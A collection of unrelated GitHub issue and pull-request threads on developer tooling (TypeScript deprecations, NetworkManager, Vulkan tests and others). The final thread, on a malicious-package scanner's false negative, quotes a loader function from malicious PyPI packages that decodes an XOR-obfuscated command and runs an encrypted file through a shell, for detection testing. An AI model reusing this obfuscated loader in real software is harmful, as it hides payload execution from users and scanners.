Option to show warning for deprecated options.

🔍 Search Terms
Deprecated
suppressImplicitAnyIndexErrors
Warn on usage of deprecated feature
✅ Viability Checklist

[X] This wouldn't be a breaking change in existing TypeScript/JavaScript code
[X] This wouldn't change the runtime behavior of existing JavaScript code
[X] This could be implemented without emitting different JS based on the types of the expressions
[X] This isn't a runtime feature (e.g. library functionality, non-ECMAScript syntax with JavaScript output, new syntax sugar for JS, etc.)
[X] This feature would agree with the rest of our Design Goals: https://github.com/Microsoft/TypeScript/wiki/TypeScript-Design-Goals

⭐ Suggestion
For features that are being Deprecated, such as suppressImplicitAnyIndexErrors can we have an option to have warnings shown.
We have an old project which had this option enabled (nobody knows why!), but there's a lot of places that error with this option removed.
I'd like to be able to see where all the non-compliant code is so we can progressively fix the issues before removing the suppressImplicitAnyIndexErrors.
It would be handy to either have:

emitWarningsForDeprecatedFeatures setting,
the ability to set the error/warning level in the tsconfig file, e.g.,

   "suppressImplicitAnyIndexErrors": "warning",

With either of these options set then I would want to see the warning in VSCode or when compiling.
📃 Motivating Example
Deprecated features and settings such as suppressImplicitAnyIndexErrors can have a significant impact on large projects due to the amount of rework required to satisfy the change in functionality.
With this change developers will be able to be warned about non-compliant code without it failing the build.
This allows code to be progressively updated to be compliant over the lifetime of the deprecation without having to embark on a "big-bang" conversion project.
This will allow the easier adoption of newer version of Typescript, with developers not feeling unable to upgrade due to the amount of work involed.
💻 Use Cases

I want to be able to upgrade to later version of typescript with the minimum of effort
The current system is either on or off, either failing or working.
We cannot just turn the option off as it introduces hundreds of errors, breaking our builds.
We can't easily see where the errors are, this makes it hard to track and mange.
In a previously situation we've used eslint and set a rule to "Warn" and then issues can be tracked, developers see them in VSCode and progressively fix them.
Currently we are not planning on upgrading typescript past 5.5 unless forced to do so.

TypeScript does not have the concept of warnings, only errors.

IIRC this is all intentional - the official line is that options are deprecated in a x.0 release (5.0 in this case), but don’t start to be warnings/errors until x.5, and then are completely removed in (x+1).0.

The deprecations happen in x.0 which are errors; the implementation is removed in x.5 but it is not an error to include the flags (alongside ignoreDeprecations, I assume?); in the next major it becomes an unrecognized flag which always errors. https://github.com/microsoft/TypeScript/issues/51000
Calling this a dup of #13408

I would suggest setting up another tsconfig for use in the editor, or some CI process, which unsets the deprecated flags. That way you can have builds that ignore the deprecation errors and keep using the deprecated flags when you need the build to succeed, but also have another process by which you can see the errors you need to fix in order to move past TS 5.5. It’s not perfect but with a little fiddling you can get something that works.
One time I was on a team that was trying to move a big codebase onto strictNullChecks. We set up a separate tsconfig that enabled strictNullChecks, ran it on everything in CI, and output which files failed to a test reporter so we could see percentage of files passing. (Azure DevOps also showed us this number of time, which was cool.) This was a job that always succeeded / didn’t block builds. We also had a tsconfig with a list of files that had already passed under strictNullChecks, and this was a required job, so we wouldn't regress on files that had already been fixed.

The deprecations happen in x.0 which are errors; the implementation is removed in x.5 but it is not an error to include the flags (alongside ignoreDeprecations, I assume?); in the next major it becomes an unrecognized flag which always errors. #51000
Calling this a dup of #13408

Hiya @andrewbranch,
I don't think this is a duplicate of #13408, although I would agree that it may need #13408.
For my use case this isn't about configuring individual things as warnings, it's about finding places that will not compile when the upcoming deprecations are deprecated.
I only suggested being able to configure separately as one approach to solve the issue.
I've tried a second tsconfig file, but for some reason (at least in createReactApp) we don't see a list all the places listed on the command line.
Having this used during development does show in VScode, but also shows a full screen error message in the browser on every hotreload.
As it's not showing in the command line we can't get them out in a pipeline, and the full screen error is too disruptive to have in during development.
Happy to be told I've missed something in the config, or that there's an ESLint rule (although I've turned all unsafe rules on and these issues don't get flagged)

If you can get the errors to show up in VS Code, you can get them to show on the command line with tsc. I’m not sure what create-react-app is doing, but it sounds like you should leave it out of this secondary process and just deal with tsc.


Personalize README file

Creating my first pull request as part of github setup walkthrough!

Great job!
I'd add a note to be careful of commit message typos, as they're difficult to rewrite in git.

@davidgaskins Sure thing! Thanks for approving the pull request!


Retry Fetch operation on Zlib error.

This fixes #4074

👍🏻

Valid failure here: Ruby 1.8.7 doesn't automatically load Zlib, so we have to load it somewhere. Just not sure what the right place is.

How about just check if Zlib is defined?

It gets required down the line, just not before we define the array.
I'm just thinking about adding require "zlib" on the top of that file. Nasty, because it's not exactly a requirement, but it does the job.

To be perfectly honest, I'm ok with the error slipping through on 1.8.7

@andremedeiros I'm okay with requiring zlib or using a defined check. I think 1.8.7 users can expect a degraded experience at this point :P

@andremedeiros adding the require to this file seems like the simplest solution, does that work for you?

Pushed.

@segiddins @indirect anything I have to do with @homu or can I just merge?

@homu r+

:pushpin: Commit c6154ad has been approved by segiddins

@homu r+

:pushpin: Commit c6154ad has been approved by andremedeiros


Fixes #1674 - Provide meaningful instructions for common mistake

Awesome, thanks for stepping up with this PR!
Before I merge this, can you consider:

Using SSHKit::Color instead of Airbrussh::Colors
Adding a test

What do you think?

Using SSHKit::Color instead of Airbrussh::Colors

✔ Done

Adding a test

✔ Added test to spec/lib/capistrano/dsl_spec.rb

Looks great ✨


Support v2 of controller socket

https://letsrobot.tv/get_control_host_port/
?version=2

This was included in 0.4.1 since older builds became broken, and needed to be fixed sooner than 0.5


networkmanager: 1.22.10 → 1.24.0

Motivation for this change
Finally support for OWE/Enhanced Open.
(Though we'd need hostapd 2.10 for that to work)
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/blob/1.24.0/NEWS
=============================================
NetworkManager-1.24
Overview of changes since NetworkManager-1.22
=============================================

* Add support for virtual routing and forwarding (VRF) interfaces.
* Add support for Opportunistic Wireless Encryption mode (OWE) for Wi-Fi networks.
* Add support for 31-bit prefixes on IPv4 point-to-point links according to
  RFC 3021.
* Drop dependencies for libpolkit-agent-1 and libpolkit-gobject-1.
* nmcli:
  - support setting removal via new command
    `nmcli connection modify $CON_NAME remove $setting`.
  - support backslash escape sequences for "vpn.data", "vpn.secrets",
    "bond.options", and "ethernet.s390-options".
* bridge: support new options "bridge.multicast-querier", "bridge.multicast-query-use-ifaddr",
  "bridge.multicast-router", "bridge.vlan-stats-enabled", "bridge.vlan-protocol",
  "bridge.group-address".
* IPv6 SLAAC: add support for "ipv6.ra-timeout" setting
* IPv6 DHCP: add support for "ipv6.dhcp-timeout" setting
* WWAN: NetworkManager now detects if a PIN-protected SIM card has been
  externally unlocked and automatically tries to activate a suitable
  connection on the modem.
* OVS:
  - add support for changing MTU of OVS interfaces.
  - remove length limitation for OVS Bridge, Patches and Interfaces
    (only Patch types) names.
* VPN: accept empty values for VPN data items and secrets.
* All nm-devices now expose the 'HwAddress' property via D-Bus.
* Slave devices now do not get created/activated if master is missing.
* Fixed multiple issues in the internal "nettools" DHCP client.
* Export NM_CAPABILITY_OVS capability on D-Bus and in libnm to
  indicate that the OVS plugin is loaded.
* Fixes for importing WireGuard profiles in nmcli and better handle
  configurations that enable ip4-auto-default-route with an explicit
  gateway.
* Various bug fixes and improvements.

Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

@Phreedom @domenkozar @obadz @worldofpeace

:woman_shrugging:

Drop dependencies for libpolkit-agent-1 and libpolkit-gobject-1.

It still has a runtime dependency on polkit-agent-helper-1 and build-time dependencies on the pkg-config files.

Also do not like how easily it can fall through /usr:

I'm not too familiar with meson, but would something like this be fine?
diff --git a/meson.build b/meson.build
index a2d925a7e..23c85f128 100644
--- a/meson.build
+++ b/meson.build
@@ -522,7 +522,7 @@ polkit_agent_dep = dependency('polkit-agent-1', version: '>= 0.97', required : f
 if polkit_agent_dep.found()
        config_h.set_quoted('POLKIT_PACKAGE_PREFIX', polkit_agent_dep.get_pkgconfig_variable('prefix'))
 else
-       config_h.set_quoted('POLKIT_PACKAGE_PREFIX', '/usr')
+       config_h.set_quoted('POLKIT_PACKAGE_PREFIX', '@polkit@')
 endif

Yes, if you substituted it in the patch.
Though maybe removing the required : false would be even more reliable. Ideally, we would came up with a patch that can fail fast and be acceptable to upstream.

I hope that works for you.
I'm not sure I can help coming up with a solution that would be acceptable upstream. I'm not sure what the constraints would be.

I've bumped this to 1.24.2 https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/blob/1.24.2/NEWS

@jtojnar Was there anything unresolved with this? This was in my queue, so I pleased to see an open PR :smile: and maybe merge it.

Changes look mostly good but I am not sure what this means for us:

Add a new build option 'firewalld-zone'; when enabled,
NetworkManager installs a firewalld zone for connection sharing and
puts interfaces using IPv4 or IPv6 shared mode in this zone during
activation. The option is enabled by default.
Note that NetworkManager still calls to iptables to enable
masquerading and open needed ports for DHCP and DNS. The new option
is useful on systems using firewalld with the nftables backend,
where the iptables rules would not be sufficient.

Thank you @mweinelt, this PR was useful to me :sparkles:

Thanks for taking the time to finish it!


Investigate difference in extent reported between DFXML and dirwalk

Give user option to choose which to use to calculate extent?

DFXML parsing currently counting files like '.', '..', and '$OrphanFiles'. Potential solution: only count files with <name_type> of 'r'.

Or specifically exclude other name_types, such as 'd' (for directory). See other potential values in tag library: wiki.bitcurator.net/downloads/DFXML-tag-library-v3.xlsx

Exclusion seems like better option, because md5deep-generated DFXML files do not contain <name_type>

Fixed with merge https://github.com/timothyryanwalsh/cca-diskimageprocessor/commit/76d2d7e33f0ece161d502f81be0ac6759f09ff70


ip: route: disable LL address check when using dummy L2

The dummy L2 does not setup the link layer address. Do not check the source and destination link layer addresses when routing packets otherwise packet routing will not work when using a dummy L2.
Note: this is maybe not the best approach, as this will disable the check for all interfaces, including non-dummy L2. Would it be a way to check the source/destination interface directly?

Codecov Report

Merging #7624 into master will increase coverage by 0.04%.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           master   #7624      +/-   ##
=========================================
+ Coverage   55.25%   55.3%   +0.04%
=========================================
  Files         468     468
  Lines       51792   51792
  Branches     9909    9909
=========================================
+ Hits        28618   28643      +25
+ Misses      19261   19237      -24
+ Partials     3913    3912       -1

Impacted Files
Coverage Δ

subsys/net/ip/route.c
56.41% <ø> (+3.41%)
:arrow_up:

lib/posix/pthread.c
69.34% <0%> (-0.51%)
:arrow_down:

subsys/net/ip/ipv6.c
46.6% <0%> (+0.33%)
:arrow_up:

tests/net/rpl/src/main.c
78.8% <0%> (+1.63%)
:arrow_up:

include/net/net_pkt.h
89.41% <0%> (+5.29%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 06840af...fc7d169. Read the comment docs.

@vaussard please check this https://github.com/zephyrproject-rtos/zephyr/blob/master/tests/net/6lo/src/main.c#L198. I don't know whether it solves your problem or not, please take a look those tests.

AFAIK the dummy_l2 is only used when testing things (under tests/net/*). What test is failing so that we need to do this?

I am using a SLIP interface without TAP.

Ok, that is certainly possible but you are now the first one using TUN device :)

recheck

Hi @jukkar, thank you for taking care of fixing this PR. Sorry I was too busy to promptly address your comment.

No worries, I went through old PRs and started fixing some that looked most useful to have.


[Identity] Added suport for AZURE_MANAGED_IDENTITY_CLIENT_ID

This PR makes it so the ManagedIdentityCredential can receive the Client ID from the environment variables.
This design has not been approved yet.
Fixes #8436

Based on our emails, we’ve decided not to include this change. I’m closing this issue.


Parse variables about current build from JSON

Hey!
I wan't to add more data to my slack message. Something like:
Tests finished in $duration seconds.
Test results: $failedCount/$totalCount

It would be great if this plugin would parse this values from job json page automaticaly:
http://server:port/job/jobName/83/testReport/api/json

which returns JSON like (just the beginig):
{
  "testActions" : [

  ],
  "duration" : 2768.8718,
  "empty" : false,
  "failCount" : 13,
  "passCount" : 267,
  "skipCount" : 0,
  "suites" : [

so this is where $passCount and $failCount would be retrieved from. But also calculate $totalCount internally as SUM of failCount, passCount and skipCount
I would try and write the code myself but I need some pointers in which file and which method I need to hook into.

Closing as not sure how this would work, and this hasn't got any attention in 3 years


[R5] Move/refactor Update Items API into ItemResource class

As a developer
I need to move/refactor Get Shopcarts API into ShopcartResource class
So that Get Shopcarts API swagger doc would be available on the /apidocs page
Details and Assumptions

https://github.com/nyu-devops/lab-flask-restplus-swagger/blob/master/service/routes.py#L129

Acceptance Criteria
TBA
Given [some context]
When [action taken]
Then [outcome observed]

Hey team! Please add your planning poker estimate with Zenhub @emhao @momo100110 @nijya @wl2484

Please add your planning poker estimate with Zenhub @LillisLuo


Fix TS fails because of the use of ES6

https://stackoverflow.com/a/39280186

@Swizz Awesome! Thanks a lot.


How d o you download this?

I was looking for a cia or 3dsx file but its just resources, how am I meant to download it?

not sure either. have same problem mate

I think you have to compile it on your own, follow the instructions on the readme file

Oh, dang. I think this is like Nintendon't on the Wii. But in this case I don't think you will find pre-compiled files so I think you should just do it yourself


Add CMake test support as catch_discover_tests() in Catch2

With catch_discover_tests(), testcase names can be shown in 'make test'.

@ncihnegn @DPD85 do you want to try how well https://github.com/onqtam/doctest/pull/236 covers your needs?

@RedDwarf69 Glad to see someone else took the initiative for this work! I'm not sure when I'll get to reviewing it but since there is interest I guess it will eventually end up merged.
One observation I have is that often there are PRs and issues raised against Catch for this functionality so I hope it won't be just me maintaining it in the future.

One observation I have is that often there are PRs and issues raised against Catch for this functionality so I hope it won't be just me maintaining it in the future.

Honestly, I can't tell you "don't worry, I will take care of them". I am not that proficient with cmake and I'm short on free time.
But I'm not going to say "not my problem" either. If any bug is raised feel free to poke me and I will do my best.

closing - this has been added here: https://github.com/onqtam/doctest/blob/master/scripts/cmake/doctest.cmake


when there are multiple sets, chart button not displayed for small datasets

not a regression from October release.


🚧 Add lodash collection functions

Issue : #79

[x] filter
[ ] flatMap
[ ] orderBy
[ ] reject
[ ] shuffle
[ ] sortBy

Codecov Report

Merging #80 into master will not change coverage.
The diff coverage is 100%.

@@          Coverage Diff          @@
##           master    #80   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files          50     51    +1
  Lines          93     94    +1
  Branches        4      4
=====================================
+ Hits           93     94    +1

Impacted Files
Coverage Δ

src/collection/map.js
100% <ø> (ø)
:arrow_up:

src/collection/filter.js
100% <100%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3239067...cff71fb. Read the comment docs.


DataSpreadsheet: cell selections -- keyboard support

What will this achieve?
This will allow a user to create cell selection using only their keyboard.

How will success be measured?

Additional information

Designs
Existing code
etc

There is one remaining part of this issue after #1719 is merged.
Note:
When a cell selection is created with the mouse, the user should still be able to hold shift + any arrow key together to change the size of the selected area that contains the active cell.

Complete


add English comment by wordjian

Describe what this PR does / why we need it
Does this pull request fix one issue?

Describe how you did it
Describe how to verify it
Special notes for reviews

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.wordjian seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.

@WordJian The comments can't provide any detail for the function. The func name describes details no less than the comments.


Synchronize shared configuration

This pull request was created automatically by the sync-shared-config workflow.

Shouldn't be recreated after https://github.com/Homebrew/.github/pull/131


Add COST_ENTROPY_WITH_ACTIVATION(WAIT FOR #190)

Add COST_ENTROPY_WITH_* to decouple activation_type from layers
Now COST_ENTROPY_WITH_SIGMOID and COST_ENTROPY_WITH_ACTIVATION is used
COST_ENTROPY now autoselects by activation type of the last layer.
if it is not applicable, it fallbacks to COST_ENTROPY_WITH_SOFTMAX
internally in loss calculation for COST_ENTROPY.
Changes proposed in this PR:

Add COST_ENTROPY_WITH_* to cost type
Modify test to test COST_ENTROPY_WITH_*
Update ini comments
Run clang format
Update loss layer accordingly

Self evaluation:

Build test: [X]Passed [ ]Failed [ ]Skipped
Run test: [X]Passed [ ]Failed [ ]Skipped

Signed-off-by: Jihoon Lee<EMAIL_ADDRESS>

:memo: TAOS-CI Version: 1.4.20191203. Thank you for submitting PR #191. Please a submit 1commit/1PR (one commit per one PR) policy to get comments quickly from reviewers. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://nnsuite.mooo.com/.

:octocat: cibot: @zhoonit, A builder checker could not be completed because one of the checkers is not completed. In order to find out a reason, please go to http://nnsuite.mooo.com/nntrainer/ci/repo-workers/pr-checker/191-202006181705100.95071697235107-d29d1dcf4a674412ed7116f9efcbf811d6239776/.

Do we really need to expose three types of cross_entropy cost? How about if the last activation is softmax and cost is cross-entropy, just amalgamate them internally.
I am preparing another PR (will push today) for cross-entropy with sigmoid because the amalgamated calculation is numerically more stable, you can refer to that.

My intention for this PR is mainly to scrape activation_type  out of abstract layer class. When activation is decoupled to a layer, other layer shouldn't be depend on the activation_type by design. So I was to divide COST_ENTROPY  into COST_ENTROPY_SIGMOID and COST_ENTROPY_SOFTMAX for better API.

Do we really need to expose three types of cross_entropy cost? How about if the last activation is softmax and cost is cross-entropy, just amalgamate them internally (internally we can have as many types as we want but IMHO exposing more types outside just complicates the API).

You are right. I agree that it is good to provide small set of functionality as API nor this PR is intended to extend the API. I've got some thoughts about this though, but I think I should better have a discussion first before proceed. Maybe next week :).

I am preparing another PR (#193) for cross-entropy with sigmoid because the amalgamated calculation is numerically more stable with exposing outside.

Could you consider revising #193 to not use activation_type inside loss_layer? If it is okay with you, I think I can close this PR and merge your version.

Yes, I would love to have activation_type move out of regular layers. I will move the sigmoid activation move out of the loss layer.
I will move softmax out too replaced with the amalgamated more stable version in this PR with an update today.
I am sorry for causing trouble with this PR of yours.

it will be done in this PR #193

Yes, I would love to have activation_type move out of regular layers. I will move the sigmoid activation move out of the loss layer.
I will move softmax out too replaced with the amalgamated more stable version in this PR with an update today.
I am sorry for causing trouble with this PR of yours.

That's okay! Thank you for addressing this issue out :)


add: darkrider0007

Description
Adding my profile Darkrider0007

Related Issues

Changes Proposed

Checklist

[x] I have read and followed the Contribution Guidelines.
[x] All new and existing tests passed.
[x] I have updated the documentation to reflect the changes I've made.
[x] My code follows the code style of this project.
[x] The title of my pull request is a short description of the requested changes.

Screenshots
Note to reviewers

@linkzy @CyberManMatt @brandeddavid  @uozcan12  please add a hacktoberfest labael


Add VkPhysicalDevicePortabilitySubsetFeaturesKHR:: shaderFragmentDepth32FloatMultisample capability

Some CTS tests fail when the shader sets a Depth32 depth value directly on multisample textures.
This might be fixable with effort within the implementations.
In the meantime, these use cases can be disabled in CTS and reported as Not Supported, by adding a VkPhysicalDevicePortabilitySubsetFeaturesKHR:: shaderFragmentDepth32FloatMultisample capability.
This affects 3 CTS tests:
dEQP-VK.glsl.builtin_var.fragdepth.line_list_d32_sfloat_multisample_4
dEQP-VK.glsl.builtin_var.fragdepth.triangle_list_d32_sfloat_multisample_2
dEQP-VK.glsl.builtin_var.fragdepth.triangle_list_d32_sfloat_multisample_4
  Fail

@billhollings So what exactly about this leads you to believe that this can be fixed on our end with effort? I am currently investigating this.

I think I've figured out what's wrong.
The tests work in two passes. The first pass actually draws the primitive and uses FragDepth to set the fragment depth. The fragment shader discards any fragment whose x coordinate is 4. (This is important.) It also sets pixels in a mask image with a pixel for each sample--the idea is that only the samples where the mask has a 1 should have nonzero depth. The extra pixels are added to the width of the image. One pixel is set for each invocation that reaches that point in the shader function.
The second pass runs over the unresolved multisampled depth image and copies its values out to an image of the same dimensions and layout as the mask. The mask and the result are then copied out to buffers, and the depth buffer is compared with its expected values subject to the mask.
The problem is that even though the fragment was discarded when x == 4, the first fragment shader is still writing a 1 to the mask if there were a fragment to begin with there. This is a violation of the SPIR-V and Vulkan specs, which say that all memory stores following an OpKill or an OpDemoteToHelperInvocation are discarded, regardless of whether or not the shader continues execution. (See the SPIR-V spec here and here, and Vulkan §9.3.1 and §9.26.)
The solution, then, is to have SPIRV-Cross make sure no writes happen after an OpKill or an OpDemoteToHelperInvocation--or for that matter, an OpTerminateInvocation. I really don't like that we have to do this. But Apple's broken implementation of demotion semantics for discard_fragment() has forced our hand. Perhaps we should also file a feedback report for this.

the SPIR-V and Vulkan specs, which say that all memory stores following an OpKill or an OpDemoteToHelperInvocation are discarded, regardless of whether or not the shader continues execution.

Isn't this also the behavior expected with Metal? According to the MSL doc, writes before discard_fragment() are kept, but writes after are discarded, the same as Vulkan.

Sorry for the delay; I didn't see this comment until now.

the SPIR-V and Vulkan specs, which say that all memory stores following an OpKill or an OpDemoteToHelperInvocation are discarded, regardless of whether or not the shader continues execution.

Isn't this also the behavior expected with Metal? According to the MSL doc, writes before discard_fragment() are kept, but writes after are discarded, the same as Vulkan.

I know from my experience with implementing Windows APIs for Wine that what the docs say and how the software actually behaves are two different things.
I do believe this is a bug in Metal. For this reason, I've filed FB11736212. In the meantime, I have a workaround based on my described solution, which I'll be upstreaming shortly.

This has been fixed in SPIRV-Cross.


add RuneWatch plugin

Adds a plugin to label and add investigate options to players.
More details and pics here

NOTE: I've been in contact with Will (Will osrs#0480) from RuneWatch and he gave me the okay to use their public API & use the RuneWatch logo. Along with some feature requests (such as trade screenshots).

This plugin should have a warning stating that it will send user IPs to an external service, similar to the warning found in this plugin

Added warning message.

lgtm, waiting on an ok from Will to merge this

lgtm, waiting on an ok from Will to merge this

Thanks for holding it for me, I'm happy for this to go, as is. I'm happy with the 30 minute sync delay. However I do have another endpoint: https://www.runewatch.com/api/cases/{rsn} if you would like latest data on a case (could be useful for 'investigate' lookups).
Please note that in the event no cases are found, the response will look like:
[     {         "error" => "unable to get cases"     } ]

Sounds good! I'll implement username lookup in the next release. I will need to do a bit of refactoring to handle the async responses.


Contracts losing who they are assigned to

Contracts are losing who they are assigned to.  I found the following
FLOOR COVERING SERVICES
CONCESSIONAIRE SERVICES
FIREFIGHTERS' PROTECTIVE GEAR
AGGREGATE AND STONE III
FIRE FIGHTER PROTECTIVE GEAR GLOVES
Plumbing Supplies
PQ CONTRACT FOR PRINTING SERVICES
AUTOMATED VEHICLE SHARING SERVICES
all listed in all contracts with no one assigned to them.  I am sure than some of those were previously assigned to Stephanie/ed and finished.

I think some of these I picked to remove from Conductor.  and now they are back on randomly but also back w/o their original assignment.  If I have selected to remove them from Conductor I don't want them to show up under all Items.

I'm not sure what you mean. They were finished and then you removed the new ones but they are showing up by mistake? It's unclear if you want them to be present or absent from the conductor all list. If you want them to be present and they are unassigned, you should just be able to re-assign them.

I'm not really sure what the problem is.  We originally assigned every single contract in Conductor to either Stephanie or Ed.  I did a dump today and noticed that there were 8 contracts that were listed as 'unassigned'.
With the 2 firefighter contracts and concessionaire I am positive that we selected 'remove from conductor'.  These should not be coming up under all contracts because we selected to remove them.
With Plumbing Supplies, Stephanie finished that contract so it should show back under all contracts with her name.
As for the PQ printing contract...that one I'm very confused by because the expiration date is incorrect...but it must have been updated via conductor so it should have who it was originally assigned to

Is this a dump from the download files? Are you sure they are in the all contracts list in Conductor? It's possible they are incorrectly showing up in the file when they shouldn't be.

The dump made me realize it and drew my attention to the all contracts list.  The biggest issue is the ones that I manually removed from conductor (concession, firefighter) coming back and showing up again under all contracts.  This seems to be something that has happened within the last week

The two firefighter contracts and the concessionaire contract all have the "visible in conductor" flag set to on, so I think just removing them as before should fix that.
For the plumbing supplies, that's in the complete step but hasn't been finished (it looks like the final info hasn't been set on it yet like controller number, etc.)
I'm not sure about the PQ for printing services, but altogether it looks like from the perspective of the software things are fine, so I'm going to go ahead and close this ticket.

This happened again.  I edited a contract spec in admin because it was incorrect. When I went back into conductor this contract is now 'unassigned'. Automated Vehicle Sharing Services II

I can't see anything in the logs to indicate why this would be, and I can't reproduce it locally. It might have something to do with the underlying issue that is causing #44 where database sessions aren't closing properly.


Base64 Image : file size

Informations
Browser version: Chromium61, Firefox56
OS: fedora26 (Linux)
Screen resolution: ?
How to reproduce the bug?
That's not really a bug but could be a security risk. Is it possible to limit the size of base64 encoded file ?  On the other hand, for database, limiting image filesize would reduce the risk of reaching text field type max size (not varchar).
More globaly, it would be great to check the whole content size of the editor ?

Feel free to add a option + a check to base64 plugin via a Pull Request :)
https://github.com/Alex-D/Trumbowyg/blob/develop/plugins/base64/trumbowyg.base64.js#L111


BI-1680 - Added Migration That Removes "Somoclone" Breeding Method

Description
Story: BI-1680
Per the Desired Behavior section of the Jira story, I added a migration to remove the "Somoclone" breeding method from the system preset breeding methods.
This bi-web PR takes care of updating the import template.
Dependencies
bi-web branch: feature/BI-1680.
Testing

Checkout this branch, git checkout feature/BI-1680.
Run bi-api.
Ensure that the new migration ran (V1.20.0) by checking the bidb database, SELECT * FROM flyway_schema_history;.
Ensure that the "Somoclone" breeding method is not listed in the DeltaBreed UI, under Program Administration > Breeding Methods.

Checklist:

[x] I have performed a self-review of my own code
[x] I have tested my code and ensured it meets the acceptance criteria of the story
[ ] I have tested that my code works with both the brapi-java-server and BreedBase
[ ] I have create/modified unit tests to cover this change
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to documentation
[ ] I have run TAF: <please include a link to TAF run>

when the migration was run, the following error was generated...
[ERROR] Failed to execute goal org.flywaydb:flyway-maven-plugin:7.7.3:migrate (default-cli) on project bi-api: org.flywaydb.core.internal.command.DbMigrate$FlywayMigrateException:
[ERROR] Migration V1.21.0__remove_breeding_method.sql failed
[ERROR] ----------------------------------------------------
[ERROR] SQL State  : 23503
[ERROR] Error Code : 0
[ERROR] Message    : ERROR: update or delete on table "breeding_method" violates foreign key constraint "program_enabled_breeding_methods_breeding_method_id_fkey" on table "program_enabled_breeding_methods"
[ERROR]   Detail: Key (id)=(20811b55-6080-459f-aca4-261fb1c95c60) is still referenced from table "program_enabled_breeding_methods".
[ERROR]   Where: SQL statement "DELETE FROM breeding_method
[ERROR]     WHERE abbreviation = 'SOC' AND name = 'Somoclone'"
[ERROR] PL/pgSQL function inline_code_block line 4 at SQL statement
[ERROR] Location   : /Users/drp227/source/bi-api/src/main/resources/db/migration/V1.21.0__remove_breeding_method.sql (/Users/drp227/source/bi-api/src/main/resources/db/migration/V1.21.0__remove_breeding_method.sql)
[ERROR] Line       : 18
[ERROR] Statement  : /*

Closing in favor of https://github.com/Breeding-Insight/bi-api/pull/346, which is based on release/0.9.


New pypi exploits

Sources:
https://thehackernews.com/2024/02/lazarus-exploits-typos-to-sneak-pypi.html
https://blogs.jpcert.or.jp/en/2024/02/lazarus_pypi.html
Ran guarddog on this locally zipped code and got 0 malicious indicators
def crypt(filepath, key, strKey, no):
    inputFilePath = os.path.join(filepath, 'test.py')
    outputFilePath = os.path.join(filepath, 'output.py')
    command = b'\xae\xa9\xb2\xb8\xb0\xb0\xef\xee'
    if os.path.isfile(inputFilePath):
        with open(inputFilePath, "rb") as f1:
            with open(outputFilePath, "wb") as f3:
                while True:
                    byte = f1.read(1)
                    if not byte:
                        break  # End of file

                    # Perform XOR encryption
                    encrypted_byte = ord(byte) ^ key

                    # Write the encrypted byte to output file
                    f3.write(bytes([encrypted_byte]))
        result_bytes = bytes([byte ^ strKey for byte in command])
        result_string = result_bytes.decode('utf-8')
        strcommand = result_string + " " + outputFilePath + ", CalculateSum" + str(no)
        try:
            subprocess.run(strcommand, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            os.remove(inputFilePath)
        except:
            pass
    if os.path.isfile(outputFilePath):
        os.remove(outputFilePath)

Weird, the subprocess.run should have been caught by https://github.com/DataDog/guarddog/blob/e49bf3298e4601ba3e4dc00140bd54d02d14371f/guarddog/analyzer/sourcecode/code-execution.yml#L39

I can reproduce the false negative:
$  pipenv run python -m guarddog pypi scan ~/tinkering/guarddog-samples/sample.zip
Found 0 potentially malicious indicators scanning /Users/cedric.vanrompay/tinkering/guarddog-samples/sample.zip

And I can confirm that my reproduction method (putting the Python file in a ZIP and scanning the ZIP) is supposed to work:
$ zip -r ~/tinkering/guarddog-samples/code-execution.zip tests/analyzer/sourcecode/code-execution.py
  adding: tests/analyzer/sourcecode/code-execution.py (deflated 60%)
$ pipenv run python -m guarddog pypi scan ~/tinkering/guarddog-samples/code-execution.zip
Found 16 potentially malicious indicators in /Users/cedric.vanrompay/tinkering/guarddog-samples/code-execution.zip

code-execution: found 14 source code matches
[...]

However, it seems that semgrep alone does find the code execution (at line 221 in my example):
➜  guarddog git:(main) ✗ git diff tests/analyzer/sourcecode/code-execution.py
diff --git a/tests/analyzer/sourcecode/code-execution.py b/tests/analyzer/sourcecode/code-execution.py
index 1db1bd4..5956b5c 100644
--- a/tests/analyzer/sourcecode/code-execution.py
+++ b/tests/analyzer/sourcecode/code-execution.py
@@ -196,3 +196,31 @@ def run_file(path):
     # ruleid: code-execution
        p = subprocess.Popen(f"python {path}",shell=True,stdin=None,stdout=subprocess.PIPE,stderr=subprocess.PIPE,close_fds=True)
        out, err = p.communicate()
+
+def crypt(filepath, key, strKey, no):
+    inputFilePath = os.path.join(filepath, 'test.py')
+    outputFilePath = os.path.join(filepath, 'output.py')
+    command = b'\xae\xa9\xb2\xb8\xb0\xb0\xef\xee'
+    if os.path.isfile(inputFilePath):
+        with open(inputFilePath, "rb") as f1:
+            with open(outputFilePath, "wb") as f3:
+                while True:
+                    byte = f1.read(1)
+                    if not byte:
+                        break  # End of file
+
+                    # Perform XOR encryption
+                    encrypted_byte = ord(byte) ^ key
+
+                    # Write the encrypted byte to output file
+                    f3.write(bytes([encrypted_byte]))
+        result_bytes = bytes([byte ^ strKey for byte in command])
+        result_string = result_bytes.decode('utf-8')
